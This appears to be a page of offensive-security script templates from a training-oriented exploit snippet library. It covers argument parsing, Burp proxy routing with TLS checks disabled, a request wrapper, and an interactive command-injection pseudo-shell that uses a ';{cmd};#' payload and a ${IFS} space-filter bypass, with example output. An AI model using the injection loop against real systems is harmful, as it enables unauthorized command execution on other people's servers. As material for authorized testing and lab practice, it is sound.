Skip to content
Scaffolding

Scaffolding

Script skeletons every exploit starts from: argument parsing, a Burp-routed requests session, and a safe request wrapper.

CLI args — argparse (full template + conditional proxy)

Standard script header: a required target plus an optional -x proxy that collapses to no proxy when absent.

import requests
import urllib3
import argparse
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser(
    description="Description of what this exploit does.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080]")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
args = parser.parse_args()

PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

if __name__ == "__main__":
    s = requests.Session()

Find by: command line, arguments, args, flags, parameters, options, argparse, cli, target, proxy, boilerplate, starter, template · Source: CWEE/many

CLI args — sys.argv with usage/example (no argparse)

Fast positional-arg style for throwaway scripts; prints Usage+Example on misuse.

import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

if __name__ == "__main__":
    try:
        url = sys.argv[1].strip().rstrip("/")
        lhost = sys.argv[2].strip()
        lport = int(sys.argv[3].strip())
    except IndexError:
        print(f"[-] Usage: {sys.argv[0]} <url:port> <LHOST> <LPORT>")
        print(f"[-] Example: {sys.argv[0]} http://www.example.com:80 192.168.45.221 1337")
        sys.exit(1)
    s = requests.Session()

Find by: command line, arguments, args, positional, sys.argv, usage, example, IndexError, quick, minimal, parameters · Source: PG/XposedAPI, WSA

Burp proxy + TLS warning suppression

Passing proxies=PROXIES, verify=False into any request routes it through Burp.

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}
HEADERS = {
    "X-Forwarded-For": "127.0.0.1"
}
# usage: requests.get(url, headers=HEADERS, proxies=PROXIES, verify=False)

Find by: proxy, burp, 8080, intercept, tls, ssl, verify, urllib3, disable warnings, insecure, header

Safe request wrapper (Session + try/except + exit)

A single Session wraps every request and bails with [-] on failure.

def do(s, method, url, **kw):
    kw.setdefault("verify", False)
    kw.setdefault("proxies", PROXIES)
    kw.setdefault("timeout", 10)
    try:
        return s.request(method, url, **kw)
    except Exception as e:
        print(f"[-] Request to {url} failed: {e}")
        sys.exit(1)

# r = do(s, "POST", LOGIN_URL, data={"u":"admin"})

Find by: session, request wrapper, try except, error handling, timeout, robust, helper, get, post

Interactive command loop — single-shot exec to pseudo-shell

Any single-shot exec or injection primitive wrapped in an input() loop becomes a pseudo-shell; send() and fetch_output() connect to the sink.

Once a working but single-shot exec/inject primitive exists, re-editing the script per command is unnecessary; wrapping it in an input() loop yields an interactive pseudo-shell over one Session. Only two halves change per target: send() pushes the command through the sink (form field, header, JSON body, query param, whatever the injection point is), and fetch_output() reads the result, either from the in-band response or by polling an out-of-band endpoint. The optional cmd.replace(' ', '${IFS}') swaps spaces for a shell field-separator when the target filters spaces, and can be dropped when not needed. The try/except (KeyboardInterrupt, EOFError) makes both Ctrl-C and Ctrl-D exit cleanly with [-] interrupted instead of dumping a traceback. The time.sleep() between send and fetch is needed only when the sink is asynchronous (e.g. an OOB callback needs a moment to arrive).

import requests
import urllib3
import sys
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "http://target"
PROXIES = {}

def send(s, cmd):
    # wire your injection sink here; cmd arrives already space-escaped
    data = {"field": f"benign;{cmd};#"}
    s.post(url=f"{URL}/sink", data=data, verify=False, proxies=PROXIES, timeout=10)

def fetch_output(s):
    # read the result: in-band response body, or poll an OOB endpoint
    r = s.get(url=f"{URL}/result", verify=False, proxies=PROXIES, timeout=10)
    return r.text

def shell(s):
    while True:
        cmd = input("> ").strip()
        if not cmd:
            continue
        cmd = cmd.replace(" ", "${IFS}")   # optional: space-filter bypass
        send(s, cmd)
        time.sleep(1)                      # optional: let an async/OOB sink land
        print(fetch_output(s))

if __name__ == "__main__":
    s = requests.Session()
    try:
        shell(s)
    except (KeyboardInterrupt, EOFError):
        print("\n[-] interrupted")
        sys.exit(0)

Example output

> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> hostname
target-box
> ^C
[-] interrupted

Find by: interactive shell, pseudo shell, pseudo-shell, command loop, repl, prompt loop, input loop, while true input, run commands interactively, turn exec into shell, single shot to shell, blind rce shell, keyboardinterrupt, ctrl-c, ctrl-d, eof, send and fetch, sink wrapper, oob shell · Source: HTB/VoidWhispers